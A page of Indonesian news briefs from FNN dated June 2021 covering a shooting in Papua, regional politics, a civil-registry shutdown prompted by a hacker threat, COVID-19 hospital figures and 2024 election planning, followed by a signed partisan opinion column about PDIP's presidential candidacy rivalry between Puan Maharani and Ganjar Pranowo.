Jayapura, FNN - Kelompok kriminal bersenjata (KKB), Kamis (3/6), menembak mati seorang karyawan bangunan, Habel Halenti (30 th), di kampung Eromaga, Distrik Omukia, Kabupaten Puncak, Papua. Kapolda Papua Irjen Pol Mathius Fakhiri di Jayapura, Kamis petang membenarkan, terjadinya peristiwa yang menewaskan Habel Halenti tersebut. Fakhiri mengatakan, dari laporan yang diterima terungkap korban bersama saksi Muh Alif, sekitar pukul 12.30 WIT berangkat dari kamp karyawan di Kompleks Pancuran Kampung Kibogolome, Distrik Ilaga, ke arah Kampung Eronggobak, Distrik Omukia, menggunakan mobil dinas milik Pemda Puncak jenis pikap dobel kabin merk Ford untuk mengangkut babi. Sekitar pukul 13.00 WIT, saat hendak pulang korban bersama rekannya Muh Alif ditodong senjata api oleh KKB yang membawa satu pucuk laras panjang dan satu pucuk laras pendek. Sebelum ditembak, korban sempat teriak "ampun komandan", kata Fakhiri. Fakhiri menambahkan, melihat rekannya di tembak, Alif langsung naik ke mobil dan melarikan diri serta melaporkannya ke Polsek Ilaga. Saat melarikan diri KKB sempat menembak kendaraan yang ditumpangi hingga mengenai pintu mobil. Evakuasi korban dari TKP sempat terjadi baku tembak dengan KKB namun tidak ada korban jiwa, kata Kapolda Papua Irjen Pol Fakhiri.(ant)

DPRD Sumbar Meminta Program Unggulan Harus Menyesuaikan Kemampuan

Padang, FNN - Ketua DPRD Sumatera Barat Supardi meminta agar pelaksanaan program unggulan Gubernur-Wakil Gubernur Sumbar Mahyeldi - Audy Joinaldy harus disesuaikan dengan kemampuan keuangan daerah serta kewenangan yang dimiliki. "Ada beberapa program unggulan yang akan membebani keuangan daerah sehingga dalam realisasinya harus sesuai kemampuan keuangan," kata Supardi di Padang, Kamis. Politisi Gerindra itu mencontohkan salah satu program unggulan pasangan yang diusung PKS dan PPP ini adalah menciptakan destinasi wisata unggulan di 19 kota dan kabupaten. "Masing-masing daerah memiliki destinasi wisata internasional, artinya ada 19 destinasi internasional yang ada di Sumbar," kata dia. Selain itu ada program menciptakan 100 ribu pengusaha milenial dalam masa jabatan periode 2021-2025 ini. Selanjutnya pemberian beasiswa kepada 1.000 mahasiswa di kampus terkemuka serta mengalokasikan 10 persen anggaran APBD Sumbar untuk sektor pertanian. "Ini perlu menjadi perhatian dan disesuaikan dengan kewenangan dan kemampuan keuangan daerah," kata dia. Ia mengingatkan Gubernur dan Wakil Gubernur Sumbar hanya memiliki masa jabatan efektif selama tiga tahun dan pelaksanaan program unggulan hanya dapat dimulai pada 2022. "Tentu perlu strategi yang tepat agar program unggulan dapat selesai dalam masa jabatan tersebut," kata dia. Terutama dalam pembahasan Rencana Pembangunan Jangka Menengah Daerah (RPJMD) 2021-2026 harus sesuai dengan pokok pembangunan daerah yang ada di Rencana Pembangunan Jangka Panjang Daerah (RPJPD) 2005-2025. "Serta harus diselaraskan dengan dokumen pembangunan lainnya seperti RIPDA Pariwisata Sumbar 2014-2025, RTRW Sumbar 2012-2032, RZWP3K dan Rencana Pembangunan Industri Sumbar 2018-2038," kata dia. (ant)

PDIP Cabut Dukungan Terhadap Bupati Alor

Kupang, FNN - Bupati Alor, Nusa Tenggara Timur, Amon Djobo menyatakan bahwa pencabutan dukungan PDI Perjuangan terhadap dirinya merupakan hak dari partai berlambang banteng moncong putih tersebut. "Itu sah-sah saja, itu hak dari PDIP namun saya sangat menyesalkan hal tersebut," katanya saat menghubungi ANTARA di Kupang, Kamis. Hal ini disampaikan berkaitan pencabutan dukungan dari PDI Perjuangan terhadap dirinya pascavideo viral memarahi staf Kementerian Sosial berkaitan dengan penyaluran bantuan untuk korban bencana alam di kabupaten itu. Amon menyesalkan bahwa kebersamaan antara dirinya dengan PDI Perjuangan yang sudah lama terjalin dengan baik terpaksa harus terhenti. Bupati Alor tak menyangka bahwa PDI Perjuangan akan terpengaruh dengan rekaman video yang sebenarnya diunggah tidak secara utuh hanya mengambil saat dirinya memarahi staf Kemensos. Ia mengaku bahwa dalam video viral itu dirinya sama sekali tak pernah menyebutkan PDI Perjuangan. "Jadi kemarahan saya itu karena adanya tata kelola penyaluran bantuan sosial kepada korban bencana Seroja yang dilakukan Kemensos," kata dia. Ia mengaku bahwa sebenarnya kasus memarahi staf Kemensos dan menyebut Menteri Sosial itu sudah terjadi sejak April lalu, bahkan dirinya sudah menyampaikan permintaan maaf secara langsung kepada Mensos saat ke Alor beberapa waktu lalu. Terkait surat pencabutan dukungan itu, Amon mengaku belum mendapatkan surat pemberitahuan resmi dari DPP PDI Perjuangan tentang pencabutan rekomendasi atau dukungan mereka terhadap bupati dua periode itu. Meskipun dukungan dicabut, katanya, saat ini masih ada 14 kursi DPRD Alor yang masih mendukung posisinya sebagai kepala daerah. Sementara PDI Perjuangan Alor hanya memiliki empat kursi di DPRD Alor. Sebelumnya anggota DPR RI asal Dapil NTT 1 Flores Lembata dan Alor Andreas Hugo Parera menyatakan bahwa DPP PDI Perjuangan mencabut rekomendasi dan dukungan kepada Bupati Alor, Nusa Tenggara Timur, Amon Djobo, setelah video viral yang bersangkutan memarahi anak buah Menteri Sosial Tri Rismaharini. "Surat pencabutan dukungan dilakukan karena DPP PDI Perjuangan pada November 2017 sempat mengeluarkan rekomendasi dukungan kepada Amon Djobo untuk maju pada Pilkada Alor 2018," katanya. Melalui surat pencabutan dukungan ini, DPP menginstruksikan DPC PDI Perjuangan Alor untuk berkoordinasi dengan seluruh jajaran Fraksi PDI Perjuangan di DPRD setempat untuk mengambil sikap terhadap bupati dalam proses penyelenggaraan pemerintah di Kabupaten Alor.

DPRD Sumbar Minta Pemprov Evaluasi Penerapan Prokes

Padang, FNN - Ketua DPRD Sumatera Barat Supardi meminta pemerintah provinsi Sumbar mengevaluasi penerapan protokol kesehatan di daerah itu karena meningkatkan jumlah kasus positif COVID-19 setelah Idul Fitri 1442 Hijriah. "Pasca-perayaan Idul Fitri 1442 Hijriah terjadi peningkatan kasus terkonfirmasi positif COVID-19 dan angka kematian di Sumbar, hal ini tidak terlepas dari lemahnya penerapan protokol kesehatan oleh masyarakat," kata Supardi di Padang,Kamis. Selain itu, meningkatnya jumlah kasus juga disebabkan lemahnya pengawasan dan penindakan yang dilakukan pemerintah daerah dalam menerapkan Perda 6 2020 tentang adaptasi kebiasaan baru dalam pencegahan dan pengendalian COVID-19. "Pemerintah daerah harus segera lakukan evaluasi menyeluruh terkait pelaksanaan perda tersebut," kata dia. Menurut dia meski terjadi peningkatan kasus, aktifitas masyarakat terutama di sektor ekonomi harus tetap berjalan dengan mematuhi protokol kesehatan. Pencegahan dan pengendalian COVID-19 harus dilakukan secara berkelanjutan dengan pemulihan ekonomi tetap berjalan. "Kita minta penerapan perda harus dilakukan secara menyeluruh agar meminimalkan penyebaran virus," kata dia. Sebelumnya Kabid Humas Polda Sumatera Barat Kombes Pol Satake Bayu mengajak masyarakat di provinsi itu agar lebih disiplin menerapkan protokol kesehatan karena jumlah kasus positif COVID-19 semakin meningkat "Terjadi peningkatan kasus sejak bulan lalu dan ini menandakan kesadaran masyarakat masih rendah," kata dia. Ia mengatakan Kapolda Sumbar Irjen Pol Toni Harmanto telah memerintahkan kepada para Kapolres di jajarannya untuk selalu aktif dalam memberikan imbauan tersebut. Mulai dari memasang spanduk ataupun sticker yang di pasang di tempat-tempat keramaian sehingga masyarakat dapat mematuhinya. "Sesuai perintah bapak Kapolda, nanti di seluruh tempat di wilayah Polres akan di pasang imbauan taat protokol kesehatan," kata dia. Menurut dia imbauan itu berisikan ajakan untuk taat protokol kesehatan yang akan dipasang di ruang publik seperti rumah makan, tempat rekreasi, tempat ibadah dan tempat yang dianggap ramai berkumpulnya masyarakat. "Ini sebagai upaya dalam mengantisipasi penyebaran virus dengan taat protokol kesehatan sebagai kuncinya," kata dia.

Dinas Disdukcapil Daerah Diminta Hentikan Layanan Online

Jakarta, FNN - Direktur Jenderal Kependudukan dan Pencatatan Sipil Kemendagri Zudan Arif Fakrullah memerintahkan Dinas Dukcapil di daerah yang menggunakan layanan online memakai internet publik untuk dimatikan sementara waktu guna mencegah serangan peretas. "Iya untuk pengamanan. Hanya daerah tertentu yang firewall-nya dan security sistemnya belum kuat mereka matikan dulu untuk pengecekan," kata Zudan Arif Fakrullah, saat dihubungi di Jakarta, Kamis. Zudan mengirimkan pesan kepada seluruh kepala Dinas Dukcapil di daerah untuk melakukan langkah-langkah antisipasi ancaman para peretas terhadap data kependudukan. "Karena ada ancaman hacker yang telah menyusup ke beberapa kabupaten dan kota, saya perintahkan semua layanan online yang tidak menggunakan VPN (menggunakan internet publik) dimatikan saat ini juga," isi pesan Dirjen Zudan. Zudan belum menginformasikan sampai kapan layanan online dari Dinas Dukcapil tersebut dihentikan. Sebelumya Dirjen Zudan mengonfirmasi kebenaran soal informasi Instruksi Dirjen Dukcapil Kemendagri disampaikan bahwa layanan online untuk sementara dimatikan. Kemudian pada informasi yang sama, Disdukcapil Kota Bekasi menyampaikan layanan (e-Open) mereka untuk sementara di-shutdown sampai ada kebijakan lanjutan dari Dirjen Dukcapil sebagai pengampu kebijakan Dukcapil Pusat. Langkah tersebut diambil mengingat terjadinya upaya pembobolan data jaringan Disdukcapil yang dilakukan oleh para peretas yang mengancam keamanan data. Selama aplikasi berbasis internet tidak aktif, Dinas Dukcapil Kota Bekasi menginformasikan bahwa pelayanan administrasi kependudukan mereka dilakukan dengan mekanisme offline di seluruh tingkat kecamatan, mal pelayanan publik, dan gerai pelayanan publik. (ant)

Anis Matta Berharap Kekuatan Militer Indonesia Masuk 5 Besar Dunia

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta menilai kekuatan militer Indonesia harus masuk lima besar dunia agar menjadi kekuatan yang sejajar dengan Amerika Serikat, Uni Eropa, Rusia, dan China. "Ketika kita ingin menjadikan Indonesia sebagai lima besar dunia, maka maknanya adalah secara militer Indonesia juga menjadi kekuatan militer kelima dunia," kata Anis Matta dalam keterangannya di Jakarta, Kamis. Hal itu dikatakan Anis dalam Gelora Talk bertajuk "Reformasi Sistem Pertahanan Nasional dan Urgensi Modernisasi Alutsista TNI" di Gelora Media Centre, Jakarta, Rabu (2/6). Dia menjelaskan untuk mencapai tujuan tersebut dibutuhkan peta jalan atau "roadmap", reformasi sistem pertahanan, dan modernisasi alat utama sistem senjata (alutsista). "Agenda tersebut adalah salah satu pilar dari dari cita-cita menjadikan Indonesia sebagai kekuatan lima besar dunia, selain ilmu pengetahuan, ekonomi, dan militer," ujarnya. Dia menilai reformasi pertahanan nasional harus segera dilakukan karena ada perubahan landscape global akibat pandemi. Anis meminta asumsi-asumsi dasar mengenai sistem pertahanan nasional saat ini harus dilakukan perubahan secara fundamental, terutama menyangkut isu konflik global dan perang masa depan. Menurut dia, Partai Gelora tidak ingin terjebak soal "isu mafia alutsista" yang sedang ramai dibicarakan karena yang lebih penting membicarakan asumsi-asumsi dasar strategi pertahanan ke depan. "Ini adalah satu momentum, saat isu alutsista mencuat untuk memulai pembicaraan yang fundamental, menyusun strategi pertahanan ke depan," katanya. Dalam diskusi tersebut, Ketua Komisi I DPR 2010-2016 Mahfuz Sidik mengatakan, anggaran Rencana Strategis (Renstra) Pertahanan Indonesia sebesar Rp1.760 triliun untuk periode 2020-2044 yang dipercepat ke 2024 dinilai masih sulit untuk mendongkrak kapabilitas sistem pertahanan. Dia menilai, kekuatan militer suatu negara harus ditopang dengan kekuatan industri pertahanan yang memproduksi alat pertahanan sendiri di dalam negeri. "Artinya, belanja pertahanan dibelanjakan di dalam negeri dengan memproduksi alat-alat pertahanan seperti negara maju, Amerika Serikat dan Prancis yang berada di lima besar kekuatan pertahanan dunia," ujarnya. Dalam diskusi tersebut dihadiri pengamat pertahanan Dr. Connie Rahakundini Bakrie dan anggota Komite Kebijakan Industri Pertahanan (KKIP) Mayjen TNI (Pur) Tri Tamtomo.

Pasien Rawat Inap RSD Wisma Atlet Bertambah 134 Orang

Jakarta, FNN - Jumlah pasien rawat inap di Rumah Sakit Darurat Wisma Atlet Kemayoran, Jakarta, Kamis, bertambah 134 orang jika dibandingkan sehari sebelumnya (Rabu, 2/6)), kata Kepala Penerangan Komando Gabungan Wilayah Pertahanan (Kogabwilhan) I Kolonel Marinir Aris Mudian. "Pasien rawat inap terkonfirmasi positif (COVID-19) di Tower 4, 5, 6, dan 7 (bangsal perawatan) sebanyak 2.278 orang, sementara jumlah semula (satu hari sebelumnya) 2.144 orang. Ada penambahan jumlah pasien rawat inap sebanyak 134 orang," kata Aris menerangkan perkembangan situasi di RS Darurat Wisma Atlet, Jakarta, Kamis. Ia menyampaikan terhitung sejak 23 Maret 2020 hingga 3 Juni 2021 atau dalam periode lebih dari satu tahun, jumlah pasien yang dirujuk ke RS Darurat Wisma Atlet mencapai 86.463 orang. Dari jumlah itu, 83.216 pasien COVID-19 telah dinyatakan sembuh dan keluar rumah sakit, sementara 881 pasien dirujuk ke rumah sakit lain. Ia mencatat jumlah pasien meninggal di RS Darurat Wisma Atlet per 3 Juni 2021 ada 88 orang. Dalam kesempatan yang sama, Aris menyampaikan perkembangan situasi di Rumah Sakit Khusus Infeksi (RSKI) Pulau Galang, Batam, Kepulauan Riau, per Kamis. "Pasien rawat inap ada 95 orang terdiri atas 63 pria dan 32 perempuan. Sekitar 95 pasien seluruhnya terkonfirmasi positif COVID-19," terang Aris sebagaimana dikutip dari keterangan tertulisnya. Ia mencatat ada pengurangan jumlah pasien rawat inap di RSKI Pulau Galang dalam waktu 24 jam terakhir sebanyak 14 orang. "Pasien rawat inap per 3 Juni 2021 sebanyak 95 orang, semula (satu hari sebelumnya) 109 orang. Ada pengurangan jumlah pasien rawat inap sebanyak 14 orang," kata dia. Terhitung sejak 12 April 2020 sampai 3 Juni 2020, RSKI Pulau Galang telah menerima total 13.852 pasien. Dari jumlah itu, sebanyak 6.418 pasien dinyatakan sembuh, 42 pasien dirujuk ke rumah sakit lain, dan 7.297 pasien suspek telah selesai menjalani perawatan, katanya. Sejauh ini, RSKI Pulau Galang belum melaporkan adanya korban jiwa akibat COVID-19 dalam kurun waktu kurang lebih satu tahun.

Koalisi Golkar-Nasdem Bisa Usung Paslon Presiden

Jakarta, FNN - Sekretaris Fraksi Partai NasDem DPR RI Saan Mustofa menilai apabila partainya berkoalisi dengan Partai Golkar pada Pemilu 2024 sudah bisa untuk mengusung pasangan calon presiden-calon wakil presiden. "Koalisi Golkar dan NasDem sudah cukup untuk mengusung pasangan calon presiden. Itu sudah lebih dari 20 persen syarat gabungan parpol mengajukan capres," kata Saan di Kompleks Parlemen, Jakarta, Kamis. Dia mengakui NasDem menjalin komunikasi intensif dengan Golkar karena keduanya memiliki persamaan platform partai dan historis. Namun, menurut dia, partainya tetap menjalin komunikasi politik dengan partai politik lain untuk membangun koalisi agar kontestasi Pilpres 2024 bisa memenuhi persyaratan. "Secara matematis bisa menghadirkan tiga pasangan calon kalau asumsi ambang batas pencalonan capres sebesar 20 persen. Idealnya bisa lima pasang namun kalau tiga pasang sangat memungkinkan," ujarnya. Wakil Ketua Komisi II DPR RI itu menilai ruang munculnya tiga pasangan calon pada Pilpres 2024 sangat terbuka karena dari sisi kandidat belum ada sosok yang sangat menonjol sehingga elektabilitasnya setara. Hal itu, katanya, membuka ruang masing-masing tokoh yang muncul dari berbagai hasil survei untuk bisa menjadi capres dan tidak mengerucut dua nama. "Namun menurut saya ini nanti tergantung kepada formulasi pengerucutan dari masing-masing partai," katanya. Saan mengatakan saat ini partainya sedang mempersiapkan format Konvensi Capres 2024 dan secara teknis akan mulai berjalan pada tahun 2022. (ant)

DPR RI Usulkan Pemilu Serentak 6 Maret 2024

Jakarta, FNN - Komisi II DPR RI mengusulkan pelaksanaan pemilu anggota legislatif (pileg) dan pemilu presiden/wakil presiden (pilpres) pada tanggal 6 Maret 2024. "Kalau kami menilainya yang ideal (pelaksanaan Pemilu 2024) di awal Maret, 6 Maret. Awalnya KPU usulkan 14 Februari atau 6 Maret, Komisi II DPR lebih cenderung pada tanggal 6 Maret," kata Ketua Komisi II DPR RI Ahmad Doli Kurnia di Gedung DPR RI, Jakarta, Kamis. Dia menjelaskan bahwa KPU RI awalnya mengusulkan dua tanggal untuk pelaksanaan pileg dan Pilpres 2024, yaitu 14 Februari dan 6 Maret. Namun, menurut dia, dalam rapat tim kerja bersama yang terdiri atas Komisi II DPR, Kementerian Dalam Negeri, KPU, Bawaslu, dan DKPP beberapa waktu lalu, KPU RI mengusulkan pelaksanaan Pemilu 2024 pada tanggal 21 Februari. "Sebenarnya yang penting adalah perlu ditarik kalau selama ini pada bulan Februari, itu 'kan karena pilkada dilaksanakan dalam satu tahun yang sama. Kami ingin menghindari adanya irisan yang terlalu dalam antara pileg, pilpres, dan pilkada," ujarnya. Oleh karena itu, dia berharap ada ruang yang cukup untuk persiapan pilkada karena itu prinsipnya dimajukan tidak lagi pada bulan April 2024. Menurut politikus Partai Golkar itu, perlu dipertimbangkan karena kalau pelaksanaan Pemilu 2024 di awal tahun, akan sulit terkait pencairan dana APBN dan APBD. "Oleh karena itu, kami menilai waktu yang ideal adalah di awal Maret 2024," katanya. Doli menilai Pemilu 2024 seharusnya tidak dilaksanakan pada bulan April ataupun di awal tahun karena akan menyulitkan pencairan pendanaan pemilu. Ia memperkirakan pencairan dana sekitar 1—1,5 bulan sejak awal tahun sehingga pelaksanaan Pemilu 2024 pada bulan Maret adalah langkah yang tepat. Menurut dia, tim kerja bersama akan memutuskan apakah perubahan waktu pelaksanaan Pemilu 2024 perlu diatur hanya dengan peraturan KPU (PKPU) atau perlu dengan membuat peraturan pemerintah pengganti undang-undang (perpu).

UKI Ingatkan Perlunya Civitas Akademika Bergotong Royong

Jakarta, FNN - Rektor Universitas Kristen Indonesia Dr Dhaniswara K Harjono mengingatkan civitas akademika UKI untuk saling bergotong-royong dalam menghadapi masalah bangsa. Dhaniswara K Harjono dalam keterangan persnya di Jakarta, Kamis, mengingatkan hal itu dalam rangka memperingati Hari lahir Pancasila. “Sebagai karakter dan kepribadian bangsa Indonesia, kita sudah buktikan bahwa dengan bergotong-royong, tidak ada yang tidak dapat kita selesaikan," kata dia. Dia juga meyakini upaya untuk keluar dari kesulitan akibat pandemi COVID-19 pun dapat berhasil dengan cara bergotong-royong. "Dengan semangat nilai UKI, yaitu, 'Berbagi dan Perduli', Pancasila sebagai dasar negara mengajarkan untuk peduli terhadap sesama, apapun latar belakangnya, dalam keberagaman, kita mampu berbagi dan melayani sesama,” kata Dr Dhaniswara K Harjono. Sebagai langkah nyata, civitas akademika Universitas Kristen Indonesia memberikan makanan gratis kepada masyarakat di area kampus UKI Cawang, Jakarta. Kegiatan itu digelar selama tiga bulan dengan memberikan 500 bungkus nasi, masker dan vitamin guna meringankan beban masyarakat di tengah situasi Pandemi COVID-19. Bantuan yang diberikan berupa 500 paket makan pagi, 500 masker dan 500 vitamin B dan C. “Dengan imbauan jaga jarak dan datang bergantian, aksi sosial ini akan dilaksanakan setiap hari," kata dia. Kemudian, lanjut Dhaniswara sasaran bantuan tersebut yaitu masyarakat yang secara ekonomi terdampak akibat pandemi COVID-19. "Misalnya, ojek online, pedagang kaki lima (PKL), warga sekitar, serta warga UKI seperti mahasiswa, satpam, hingga pramu kantor, juga menerima paket bantuan,” ucap Dhaniswara. Perguruan tinggi tersebut membentuk tim bernama Gugus Tugas UKI Peduli Dampak COVID-19, untuk meminimalkan dampak pandemi di civitas akademika dan masyarakat sekitar. "Bersama alumni, mahasiswa dan civitas akademika UKI, kami peduli dengan situasi pandemi COVID-19 yang melanda Indonesia saat ini,” kata Rektor UKI itu. Tim Gugus Tugas UKI Peduli Dampak COVID-19 membentuk dapur umum koinonia untuk menyediakan makanan sehat berupa 150 nasi bungkus untuk dibagikan secara gratis kepada mahasiswa UKI, terutama mahasiswa yang terdampak COVID-19 dan mahasiswa yang tinggal di kos sekitar UKI. Dapur umum bertempat di kantin UKI Cawang. Selain itu Tim Gugus Tugas UKI Peduli Dampak COVID-19 memberikan bantuan antara lain sembako untuk mahasiswa UKI, untuk petugas kebersihan dan petugas keamanan di UKI. Lebih lanjut, masker untuk mahasiswa, masyarakat sekitar Kelurahan Cawang, dan pulsa untuk mahasiswa UKI yang memerlukannya. Para dosen dan staf UKI menggalang dana untuk membantu pengadaan alat pelindung diri RS UKI dan untuk pembuatan hand sanitizer. Ketua Gugus Tugas UKI Peduli Dampak Covid 19, Hulman Panjaitan, menjelaskan gugus tugas membantu menyusun aturan dan persiapan kampus sehubungan dengan kondisi kenormalan baru di UKI. "Kegiatan perkuliahan dilakukan dengan metode online learning dan mahasiswa diimbau untuk tetap melaksanakan kegiatan sehari-hari dengan menerapkan pola hidup sehat dan bersih," ujarnya.

Jangan Paksakan Puan Maharani (Calon) Presiden!

By Mochamad Toha Surabaya, FNN - Puan Maharani, putri Megawati Soekarnoputri yang menjabat Ketua DPR RI itu, bakal bersaing dengan Ganjar Pranowo yang masih menjabat Gubernur Jawa Tengah, untuk mendapatkan tiket maju sebagai Calon Presiden 2024 mendatang. Persaingan kedua kader PDIP itu tampak ketika Ganjar tak diundang untuk acara penting partai yang berlangsung di Semarang, 22 Mei 2021 lalu. Padahal, acara itu sangat penting. Yaitu, pengarahan soliditas kader internal PDIP. Dihadiri oleh seluruh kepala daerah asal PDIP se-Jateng. Sangat tidak masuk akal jika Ganjar tidak diperlukan hadir. Ganjar malah pergi menemui Ketum PDIP Megawati Soekarnoputri di Jakarta saat Puan mengarahkan elit PDIP di Semarang. Apakah yang dilakukan Puan itu sebagai upaya membendung Ganjar yang namanya semakin populer kader PDIP yang layak maju Pilpres 2024? Mengapa Ketum PDIP itu menerima Ganjar di Jakarta hanya untuk menyerahkan lukisan? Meski Ketua DPD PDIP Jateng Bambang Wuryanto mengatakan, Ganjar sudah kelewatan, terlalu maju, dan sok pintar, hal itu bukan berarti Ganjar benar-benar mau “disingkirkan”. Jika mau disingkirkan, Megawati tidak akan menemuinya. Bambang mengatakan semua ini terkait pencapresan 2024. Dalam berbagai survei, Ganjar memang dipandang prospektif untuk ikut pilpres. Dia sangat agresif. Dia tunjukkan ambisi pilpres 2024 melalui medsos dan menjadi host di YouTube. Sebaliknya, elektabilitas Puan nyaris tak tampak. Padahal, Megawati menginginkan dia maju bersama Prabowo Subianto sebagai pasangan capres atau cawapres. Popularitas Ganjar dirasakan mengancam Puan. Makanya, Megawati harus hentikan Ganjar! Menghentikan langkah Ganjar justru bisa merugikan PDIP sendiri! Pasalnya, prestasi Puan nyaris tak ada sama sekali, meski pernah menjabat Menteri dan kini Ketua DPR RI. Tidak ada pengalaman politik dan prestasi yang sangat menonjol! Tinggal kita lihat saja bagaimana perkembangan selanjutnya. Bagi Megawati dan PDIP sangatlah mudah sekali menyingkirkan Ganjar. Tinggal “perintahkan” KPK agar mengusut aliran dana proyek e-KTP senilai US$ 500 ribu ke kantong Ganjar.. Seperti dilansir Tempo.co, Kamis (8 Februari 2018 16:20 WIB), Setya Novanto dalam sidang Pengadilan Tipikor, Jakarta menyebut mantan koleganya di DPR RI, Ganjar Pranowo, turut menerima aliran dana proyek e-KTP. Menurutnya, informasi bahwa Ganjar menerima duit e-KTP US$ 500 ribu didapatnya dari mantan anggota Komisi II DPR dari Fraksi Golkar, Mustokoweni Murdi; politikus Hanura Miryam S. Haryani; dan terpidana e-KTP, Andi Agustinus alias Andi Narogong. “Yang pertama pernah Mustokoweni saat ketemu saya menyampaikan uang dari Andi untuk dibagikan ke DPR dan itu disebut namanya Pak Ganjar,” kata Setnov, saat menjadi terdakwa e-KTP, di Pengadilan Tipikor, Kamis, 8 Februari 2018. Selain Mustokoweni, Miryam menyampaikan keterangan yang sama. Adanya pemberian duit itu semakin diperkuat dengan pengakuan Andi kepada Setnov. Ia mengaku telah memberikan uang untuk beberapa politikus di Komisi II DPR, termasuk Ganjar. Untuk itu Setnov ketemu, dia penasaran apakah sudah selesai dari teman-teman. “Pak Ganjar bilang, itu yang tau Pak Chairuman Harahap (Ketua Komisi II DPR saat itu),” ujar Setnov. Pengakuan Setnov ini menanggapi adanya pertemuan tidak disengaja antara dia dan Ganjar. Dalam kesaksiannya itu, Ganjar mengaku pernah bertemu Setnov di lounge keberangkatan Bandara Internasional I Gusti Ngurah Rai, Denpasar, Bali, pada 2011 atau 2012. Saat itu, Setnov mengatakan agar Ganjar tak galak-galak sehubungan dengan proyek e-KTP. Namun, Ganjar tak menjelaskan rinci apa maksud pernyataan Setnov. “Dia (Setnov) pernah bilang, 'Ganjar sudah selesai. Jangan galak-galak lah',” kata Ganjar menirukan ucapannya. Jaksa Penuntut Umum KPK memiliki bukti arsip perjalanan Setnov dan Ganjar. Keduanya memang hendak meninggalkan Denpasar dengan tujuan keberangkatan yang berbeda pada 6 Februari 2011. Ganjar membantah pernyataan Setnov. Menurutnya, Mustokoweni justru pernah menjanjikan uang, tapi ditolak. Begitu juga dengan Miryam Haryani. “Keterangan Pak Setya Novanto itu tidak benar,” kata Ganjar. Menghentikan langkah Ganjar dikaitkan dengan kasus e-KTP yang merugikan negara hingga Rp 2,3 triliun itu juga sangat beresiko. Pasalnya, Puan juga disebut-sebut kecipratan duit panas proyek e-KTP sebesar US$ 500 ribu. Setnov mengetahui adanya aliran dana haram uang e-KTP ke Puan Maharani dan bahkan Pramono Anung dari pernyataan dua pengusaha, Irvanto Hendra Pambudi dan Made Oka Masagung, saat keduanya berkunjung ke kediaman Setnov. Hal itu diungkapkan Setnov ketika menjalani pemeriksaan sebagai terdakwa perkara dugaan korupsi proyek pengadaan e-KTP, di Pengadilan Tipikor, Jakarta, Kamis, 22 Maret 2018. Jika Ganjar diganjal dengan kasus ini, pasti dia akan seret Puan juga. Bahkan, Pramono Anung juga bakal terseret. Setnov ketika itu menjabat Ketua Fraksi Golkar saat‎ proyek e-KTP berlangsung. Sedangkan Puan, saat itu menjabat Ketua Fraksi PDIP dan Pramono Anung sebagai Wakil Ketua DPR. Untuk mengganjal Ganjar yang tidak menyentuh Puan, kasus Apel Kebangsaan yang digagas oleh Ganjar Pranowo dan Pemprov Jateng yang pernah menjadi perhatian publik, menjelang Pilpres 2019, bisa dipakai Megawati dan PDIP. Konon, puluhan pengacara yang tergabung dalam Advokat Bela Keadilan (Abeka) ketika itu akan melaporkan Ganjar ke KPK terkait penggunaan dana apel kebangsaan yang bersumber dari Pemprov Jateng sebesar Rp 18 miliar. ”Kita sudah kumpulkan data, tinggal laporan ke KPK. Tinggal koordinasi apa saja bahan yang sudah dikumpulin, yang jelas banyak,” kata Tim Advokat Bela Keadilan, Listyani, Senin (18/3/2019) ketika itu. Ia menjelaskan bahwa bukti yang dimiliki berupa daftar pemenang tender acara, kemudian ada daftar undangan dari berbagai instansi di semua daerah. Apel kebangsaan yang digelar Pemprov Jateng di Simpang Lima, Semarang, diisi dengan orasi kebangsaan dari sejumlah tokoh pejabat hingga ulama. Biaya penyelenggaraan Apel Kebangsaan mencapai Rp 18 miliar. Menurut Ganjar, anggaran itu sebagian besar digunakan untuk konsumsi, transportasi, dan atribut para pengunjung. Sebab, Ganjar menargetkan Apel Kebangsaan dihadiri sekitar 100 ribu orang. Apel Kebangsaan bertajuk “Kita Merah Putih” berlangsung pada Minggu, 17 Maret 2019. Namun, acara yang bakal berlangsung selama setengah hari dengan menutup jalan tersebut mendapat kritikan karena alokasi anggarannya dinilai terlalu fantastis. Berdasarkan data Satuan Kerja (Satker) Badan Kesatuan Bangsa dan Politik (Kesbangpol) Provinsi Jateng, nilai pagu anggaran kegiatan itu senilai Rp 18.764.420.000. Menurut Koordinator Lembaga Advokasi Hukum dan Kebijakan, Omah Publik, Nanang Setyono, anggaran Rp 18,7 miliar terlalu fantastis jika hanya untuk kegiatan pengumpulan masyarakat. Ia mempertanyakan sumber anggaran 18,7 miliar itu dari mana? Jika bersumber dari APBD murni 2019 yang sudah disahkan pada 2018, lalu bagaimana itu sesungguhnya. “Karena kami lihat, rencana Apel Kebangsaan ini dibuat setelah anggaran APBD disahkan,” ujarnya. Nanang menyebut, anggaran belasan miliar itu akan lebih bermanfaat jika digunakan untuk program yang lebih real yang manfaatnya bisa dirasakan oleh masyarakat luas. “Karena kami melihat dari rundown acara, duit Rp 18,7 miliar itu hanya digunakan untuk ‘anggaran makan, anggaran hiburan, anggaran doorprize’,” celetuk Nanang. Jika Ganjar “dibidik” dengan kasus Apel Kebangsaan yang menelan biaya Rp 18,7 miliar itu diluncurkan, dapat dipastikan Ganjar bakal terjengkang dan Puan melenggang. PDIP sadar betul rendahnya kapasitas Puan untuk dicapreskan. Jadi Menko PMK tidak bunyi. Menjadi Ketua DPR juga sunyi. Karena itu, perlu adanya skenario khusus untuk memuluskan rencana pencapresan Puan, Sang Putri Mahkota pada 2024. DR. Arief Munandar menyebut caranya. Bangun koalisi besar partai-partai. Pastikan hanya ada 2 pasang calon. Satu Puan. Satu lagi calon boneka. Jika rakyat tidak waspada dan segera bergerak, lagi-lagi kedaulatannya akan dirampok! *** Penulis wartawan senior FNN.co.id

Hakim Ancam Saksi Korupsi Bansos untuk Ditahan Karena Tidak Jujur

